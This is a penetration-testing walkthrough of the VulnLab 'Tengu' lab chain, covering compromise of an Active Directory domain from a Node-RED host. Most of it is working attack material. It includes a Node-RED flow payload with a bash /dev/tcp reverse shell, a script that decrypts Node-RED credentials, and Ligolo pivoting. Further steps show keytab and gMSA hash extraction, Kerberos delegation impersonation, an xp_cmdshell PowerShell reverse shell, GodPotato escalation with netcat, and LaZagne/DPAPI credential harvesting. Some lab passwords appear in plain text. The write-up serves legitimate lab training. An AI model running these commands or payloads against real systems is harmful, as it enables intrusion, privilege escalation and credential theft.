1. 1. Tengu VulnLab Chain - Complete Pentesting Walkthrough & Writeup
    1. 1.1. Initial Reconnaissance
      1. 1.1.1. Network Mapping
      2. 1.1.2. Nmap Scan - Domain Controller
      3. 1.1.3. Nmap Scan - SQL Server
      4. 1.1.4. Nmap Scan - Linux Host
    2. 1.2. Initial Access - Node-RED Exploitation
      1. 1.2.1. Service Discovery
      2. 1.2.2. Vulnerability Analysis
      3. 1.2.3. Exploitation
    3. 1.3. Post-Exploitation - Linux Host
      1. 1.3.1. Domain-Joined System Discovery
      2. 1.3.2. Credential Discovery
      3. 1.3.3. Credential Decryption
    4. 1.4. Pivoting with Ligolo-ng
      1. 1.4.1. Setting Up Ligolo-ng
      2. 1.4.2. Important Routing Consideration
      3. 1.4.3. Configuring Specific Routes
    5. 1.5. Internal Reconnaissance
      1. 1.5.1. Nmap Rescan - SQL Server (via Ligolo)
      2. 1.5.2. Nmap Rescan - Domain Controller (via Ligolo)
    6. 1.6. MSSQL Access and Database Enumeration
      1. 1.6.1. Connecting to MSSQL
      2. 1.6.2. Database Enumeration
      3. 1.6.3. Extracting User Credentials
      4. 1.6.4. Password Cracking
    7. 1.7. Active Directory Enumeration
      1. 1.7.1. BloodHound Collection
      2. 1.7.2. Key Findings from BloodHound
    8. 1.8. Kerberos Keytab Extraction
      1. 1.8.1. Extracting the Keytab
    9. 1.9. gMSA Password Extraction
      1. 1.9.1. Dumping gMSA Credentials
      2. 1.9.2. Understanding the Attack Path
      3. 1.9.3. Protected Users Group Consideration
    10. 1.10. Kerberos Delegation Attack
      1. 1.10.1. Obtaining Service Ticket
      2. 1.10.2. Authenticating to MSSQL
      3. 1.10.3. Enabling xp_cmdshell
      4. 1.10.4. Checking Privileges
    11. 1.11. Establishing Reverse Shell via MSSQL
      1. 1.11.1. Configuring Ligolo Listener
      2. 1.11.2. Generating Payload
    12. 1.12. Privilege Escalation to SYSTEM
      1. 1.12.1. Exploiting SeImpersonatePrivilege
      2. 1.12.2. Setting Up File Transfer
      3. 1.12.3. Transferring Tools
      4. 1.12.4. Executing Privilege Escalation
    13. 1.13. Post-Exploitation Discovery
      1. 1.13.1. Scheduled Task Analysis
    14. 1.14. Credential Harvesting
      1. 1.14.1. Using LaZagne
      2. 1.14.2. DPAPI Decryption
    15. 1.15. Domain Controller Compromise
      1. 1.15.1. Initial Authentication Attempt
      2. 1.15.2. Kerberos Authentication

VL-Tengu

Tengu VulnLab Chain - Complete Pentesting Walkthrough & Writeup

Welcome to this comprehensive walkthrough and writeup for the Tengu Chain from VulnLab, a challenging ProLab that tests advanced penetration testing skills across multiple systems. This guide covers the complete exploitation path from initial reconnaissance to domain compromise, featuring techniques commonly seen in Hack The Box Pro Labs and real-world enterprise environments.

In this walkthrough, we’ll exploit Node-RED misconfigurations, leverage MSSQL access, perform Kerberos delegation attacks, and escalate privileges through Windows service abuse. This chain demonstrates the complexity of modern Active Directory penetration testing and provides valuable insights for security professionals preparing for advanced certifications.

Difficulty: Pro Lab / Chain
Platform: VulnLab
Skills Required: Active Directory, Kerberos, MSSQL, Linux pivoting, Windows privilege escalation


Initial Reconnaissance

Network Mapping

Starting with the initial network discovery, we identified three hosts:

1
2
3
10.10.235.213 DC.tengu.vl
10.10.235.214 SQL.tengu.vl
10.10.235.215

Nmap Scan - Domain Controller

1
2
3
4
5
6
PORT     STATE SERVICE    REASON  VERSION
3389/tcp open RDP/tcpwrapped syn-ack
| ssl-cert: Subject: commonName=DC.tengu.vl
| Issuer: commonName=DC.tengu.vl
Host script results:
|_clock-skew: -1s

Nmap Scan - SQL Server

1
2
3
4
5
6
7
8
9
10
PORT     STATE SERVICE       REASON  VERSION
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
|_ssl-date: 2025-11-10T18:38:15+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: TENGU
| NetBIOS_Domain_Name: TENGU
| NetBIOS_Computer_Name: SQL
| DNS_Domain_Name: tengu.vl
| DNS_Computer_Name: SQL.tengu.vl
| DNS_Tree_Name: tengu.vl

Nmap Scan - Linux Host

1
2
3
PORT     STATE SERVICE       REASON  VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu
1880/tcp open vsat-control? syn-ack

Initial Access - Node-RED Exploitation

Service Discovery

Port 1880 is running Node-RED, a flow-based development tool commonly used for IoT applications.

Node-RED Interface

The application connects to the MSSQL server:

1
"server":"sql.tengu.vl" "port":"1433" "database":"Dev"

Vulnerability Analysis

By retrieving the flows configuration, we discovered valuable information:

1
curl http://10.10.235.215:1880/flows

Within the code, we identified a critical vulnerability - a typo in the JavaScript method:

1
results.foreach(row => 

Note: This should be forEach (capital C). This typo allows us to inject malicious code that will be executed by the Node-RED runtime.

Exploitation

We created a malicious payload to establish a reverse shell:

payload.json (update IP and port to match your attack infrastructure):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
[
{
"id": "39f14ee1019c0406",
"type": "tab",
"label": "Flow 1",
"disabled": false,
"info": "",
"env": []
},
{
"id": "d237b4c16a396b9e",
"type": "MSSQL-CN",
"tdsVersion": "7_4",
"name": "SQL",
"server": "sql.tengu.vl",
"port": "1433",
"encyption": false,
"trustServerCertificate": true,
"database": "Dev",
"useUTC": true,
"connectTimeout": "15000",
"requestTimeout": "15000",
"cancelTimeout": "5000",
"pool": "5",
"parseJSON": false,
"enableArithAbort": true,
"readOnlyIntent": false
},
{
"id": "exploit123",
"type": "inject",
"z": "39f14ee1019c0406",
"name": "Trigger Exploit",
"props": [
{
"p": "payload"
}
],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 120,
"y": 80,
"wires": [
[
"exploit456"
]
]
},
{
"id": "exploit456",
"type": "exec",
"z": "39f14ee1019c0406",
"command": "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'",
"addpay": false,
"append": "",
"useSpawn": "false",
"timer": "",
"oldrc": false,
"name": "Reverse Shell",
"x": 320,
"y": 80,
"wires": [
[],
[],
[]
]
}
]

Alternative Method: You can also use the EXEC node directly from the web console to execute the same reverse shell command.

Deploy the malicious flow:

1
2
3
4
curl -X POST http://10.10.235.215:1880/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-d @payload.json

Post-Exploitation - Linux Host

Domain-Joined System Discovery

After obtaining a shell, we discovered the Linux machine is domain-joined:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nodered_svc@nodered:/opt/nodered$ realm list tengu.vl
realm list tengu.vl
tengu.vl
type: kerberos
realm-name: TENGU.VL
domain-name: tengu.vl
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %U@tengu.vl
login-policy: allow-permitted-logins
permitted-logins: administrator@tengu.vl
permitted-groups: Domain Users

Credential Discovery

We found encrypted credentials that are likely used for MSSQL authentication:

Encrypted Credentials

The encryption secret was located in the configuration file:

1
2
3
4
5
cat .config.runtime.json
{
"instanceId": "e8a268b474281aa4",
"_credentialSecret": "dee5c9fb0287a<hash>35eb6da91de0d013bd6799b"
}

Credential Decryption

To decrypt the credentials, we used a script based on this blog post: https://blog.hardill.me.uk/2021/02/17/viewing-node-red-credentials/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const crypto = require('crypto');  

var encryptionAlgorithm = "aes-256-ctr";

function decryptCreds(key, cipher) {
var flows = cipher["$"];
var initVector = Buffer.from(flows.substring(0, 32),'hex');
flows = flows.substring(32);
var decipher = crypto.createDecipheriv(encryptionAlgorithm, key, initVector);
var decrypted = decipher.update(flows, 'base64', 'utf8') + decipher.final('utf8');
return JSON.parse(decrypted);
}

var creds = require("./" + process.argv[2])
var secret = process.argv[3]

var key = crypto.createHash('sha256').update(secret).digest();

console.log(decryptCreds(key, creds))

Successfully decrypted credentials:

Node-RED Connector Password


Pivoting with Ligolo-ng

With valid MSSQL credentials, we needed to pivot through the Linux machine to bypass the firewall and access internal services.

Setting Up Ligolo-ng

On the attacker machine:

1
sudo ./proxy -selfcert

On the compromised Linux machine:

1
./agent -connect attacker_c2_server.com:11601 --ignore-cert

Important Routing Consideration

When configuring Ligolo routes, we must avoid routing the pivot box’s own IP through the tunnel. This creates a circular dependency that will terminate the connection.

Issue: If we autoroute the entire interface (10.200.85.0/24), and our pivot box is at 10.200.85.200, we create a catch-22:

  • Traffic to 10.200.85.200 gets routed through the tunnel
  • The tunnel depends on connectivity to 10.200.85.200
  • Connection is lost

Solution: Create specific routes for individual target hosts only.

Reference: https://www.reddit.com/r/tryhackme/comments/1jis6ia/thm_wreath_and_ligolong/

Configuring Specific Routes

1
2
3
4
5
6
7
interface_create --name worthytapenade
interface_route_add --name worthytapenade --route 10.10.235.213/32
interface_route_add --name worthytapenade --route 10.10.235.214/32

session
(select the active session)
tunnel_start --tun worthytapenade

Internal Reconnaissance

Nmap Rescan - SQL Server (via Ligolo)

1
2
3
4
5
PORT     STATE SERVICE    REASON  VERSION
445/tcp open tcpwrapped syn-ack
1433/tcp open tcpwrapped syn-ack
3389/tcp open tcpwrapped syn-ack
5985/tcp open tcpwrapped syn-ack

Nmap Rescan - Domain Controller (via Ligolo)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT      STATE SERVICE       REASON  VERSION
53/tcp open domain syn-ack Simple DNS Plus
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open msrpc syn-ack Microsoft Windows RPC
60598/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

MSSQL Access and Database Enumeration

Connecting to MSSQL

Using the decrypted credentials:

1
mssqlclient.py ./nodered_connector:'DreamPuppyOverall25'@sql.tengu.vl

Database Enumeration

1
2
3
4
5
6
7
8
9
SQL (nodered_connector  nodered_connector@Dev)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
Demo 0
Dev 0

Switching to the Demo database:

1
use Demo;

Extracting User Credentials

Discovering the table schema:

1
2
3
4
SQL (nodered_connector  nodered_connector@Demo)> SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
TABLE_SCHEMA TABLE_NAME
------------ ----------
dbo Users

Extracting user data:

1
2
3
4
SQL (nodered_connector  nodered_connector@Demo)> SELECT * FROM users;
ID Username Password
---- --------------- -------------------------------------------------------------------
NULL b't2_m.winters' b'af9cfa9b7--------------------599abf31dd4bb2a11dc20678ea147'

Password Cracking

The hash was successfully cracked using CrackStation (https://crackstation.net/):

Cracked Password

Credentials: t2_m.winters:<PASS>


Active Directory Enumeration

BloodHound Collection

With valid domain credentials, we can enumerate the Active Directory environment:

1
netexec ldap dc.tengu.vl -u 't2_m.winters' -p '<PASS>' --bloodhound --dns-server 10.10.235.213 -c ALL --dns-tcp

Key Findings from BloodHound

Server Admin Rights:

Server Admin Privileges

gMSA Account Discovery:

gMSA Account

The user t2_m.winters has administrative access to the NODERED$ machine account, which allows us to extract Kerberos authentication material.


Kerberos Keytab Extraction

Extracting the Keytab

Since we have admin rights on the machine, we can dump the /etc/krb5.keytab file containing authentication data:

1
2
3
4
5
6
7
8
9
10
11
12
t2_m.winters@tengu.vl@nodered:~$ sudo python3 ./keytabextract.py /etc/krb5.keytab
[sudo] password for t2_m.winters@tengu.vl: Tengu123

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : TENGU.VL
SERVICE PRINCIPAL : NODERED$/
NTLM HASH : <HASH>
AES-256 HASH : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec8313
AES-128 HASH : 3e04b61b939f61018d2c27d4dc0b

gMSA Password Extraction

Dumping gMSA Credentials

Using the NODERED$ machine account hash:

1
nxc ldap dc.tengu.vl -u 'NODERED$' -H <HASH> --gmsa

gMSA Dump

Understanding the Attack Path

Reviewing BloodHound, we discovered that our compromised gMSA account has delegation rights:

Delegation Rights

The SQL_Admins group contains two users:

SQL Admins Group

Protected Users Group Consideration

One member, T1_C.FOWLER, is in the Protected Users security group, which introduces restrictions.

According to Microsoft documentation (https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn466518(v=ws.11)):

Built-in restrictions of the Protected Users security group:

Accounts that are members of the Protected Users group authenticating to a Windows Server 2012 R2 domain are unable to:

  • Authenticate with NTLM authentication
  • Use DES or RC4 encryption types in Kerberos pre-authentication
  • Be delegated with unconstrained or constrained delegation
  • Renew Kerberos TGTs beyond the initial four-hour lifetime

Target Selection: We’ll target t1_m.winters instead, as this account isn’t subject to these restrictions.


Kerberos Delegation Attack

Obtaining Service Ticket

Using the gMSA hash to impersonate the target user:

1
impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 't1_m.winters' -hashes :<GMSA_HASH> 'tengu.vl/gmsa01$'

Authenticating to MSSQL

1
2
3
export KRB5CCNAME=t1_m.winters.ccache

mssqlclient.py tengu.vl/t1_m.winters@sql.tengu.vl -k -no-pass

Enabling xp_cmdshell

1
enable_xp_cmdshell

Checking Privileges

After enabling command execution, we verified our privileges:

1
2
3
4
5
6
7
8
Privilege Name                Description                               State      
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Key Finding: SeImpersonatePrivilege is enabled, allowing us to perform privilege escalation attacks.


Establishing Reverse Shell via MSSQL

Configuring Ligolo Listener

Since the SQL server cannot reach our attack machine directly, we configured a Ligolo listener:

1
listener_add --addr 0.0.0.0:4040 --to 10.8.5.195:4040 --tcp

Generating Payload

Generate a base64-encoded PowerShell reverse shell pointing to the jumpbox (use https://www.revshells.com/):

1
xp_cmdshell  "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMgAzADUALgAyADEANQAiACwANAAwADQAMAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAG......"

Privilege Escalation to SYSTEM

Exploiting SeImpersonatePrivilege

Download GodPotato from https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

Setting Up File Transfer

Configure another Ligolo listener:

1
listener_add --addr 0.0.0.0:9091 --to 10.8.5.195:9091 --tcp

Start a Python HTTP server:

1
python3 -m http.server 9091

Transferring Tools

From the SQL server:

1
2
wget http://10.10.235.215:9091/GodPotato-NET4.exe -O GodPotato-NET4.exe
wget http://10.10.235.215:9091/nc64.exe -O nc64.exe

Executing Privilege Escalation

1
.\GodPotato-NET4.exe -cmd "C:\temp\nc64.exe 10.10.235.215 9091 -e cmd.exe"

Success! We obtained a SYSTEM shell:

SYSTEM Shell


Post-Exploitation Discovery

Scheduled Task Analysis

While enumerating the system, we discovered an interesting PowerShell script in an admin folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
C:\admin>type Task.ps1
type Task.ps1
# Define the SQL Server service name
$serviceName = "MSSQLSERVER"

# Check the status of the SQL Server service
$serviceStatus = Get-Service -Name $serviceName | Select-Object -ExpandProperty Status

# If the service is not running, attempt to start it
if ($serviceStatus -ne "Running") {
# Trying to start the service
Start-Service -Name $serviceName

# Wait for a few seconds to allow the service to start
Start-Sleep -Seconds 10

# Check the service status again
$serviceStatusAfterAttempt = Get-Service -Name $serviceName | Select-Object -ExpandProperty Status

# Log the current status to a file for auditing purposes
$logPath = "C:\logs\sql_log.txt"
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - SQL Server service status: $serviceStatusAfterAfterAttempt"
Add-Content -Path $logPath -Value $logEntry

# Optional: Send notification if the service is still not running
if ($serviceStatusAfterAttempt -ne "Running") {
# Implement notification logic here (e.g., email notification)
# This is placeholder for where you would add your notification code
}
} else {
# If the service is running, optionally log this status
$logPath = "C:\logs\log.txt"
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - SQL Server service is already running."
Add-Content -Path $logPath -Value $logEntry
}

This script is likely executed by a scheduled task, potentially with higher privileges.


Credential Harvesting

Using LaZagne

We uploaded and executed LaZagne to extract stored credentials:

1
./LaZagne.exe all

Results:

  • Retrieved the local Administrator password
  • Discovered a DPAPI-encrypted password that LaZagne couldn’t decrypt:
1
2
3
[-] Password not found !!!
URL: Domain:batch=TaskScheduler:Task:{3C0BC8C6-D88D-450C-803D-6A412D858CF2}
Login: TENGU\T0_c.fowler

DPAPI Decryption

Using NetExec with local admin credentials to decrypt DPAPI blobs:

1
netexec smb sql.tengu.vl -u Administrator -H 73db3fdd<HASH>aac7e17e4aba4c --local-auth --dpapi

Decrypted Credential:

1
SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{3C0BC8C6-D88D-450C-803D-6A412D858CF2} - TENGU\T0_c.fowler:<PASS>

DPAPI Decryption


Domain Controller Compromise

Initial Authentication Attempt

Attempting to authenticate with the discovered credentials:

1
psexec.py tengu.vl/T0_c.fowler:'<PASS>'@dc.tengu.vl

Error:

1
[-] SMB SessionError: code: 0xc000006e - STATUS_ACCOUNT_RESTRICTION - Indicates a referenced user name and authentication information are valid, but some user account restriction has prevented successful authentication (such as time-of-day restrictions).

This error indicates account restrictions, likely due to the Protected Users group membership or time-based logon restrictions.

Kerberos Authentication

Since NTLM authentication failed, we used Kerberos:

1
2
3
getTGT.py T0_c.fowler@tengu.vl -k -no-pass
export KRB5CCNAME=T0_c.fowler@DC.tengu.vl.ccache
psexec.py T0_c.fowler@dc.tengu.vl -k -no-pass

Success! We achieved SYSTEM access on the Domain Controller, completing the chain.


Full chain documentation: VulnLab Share Link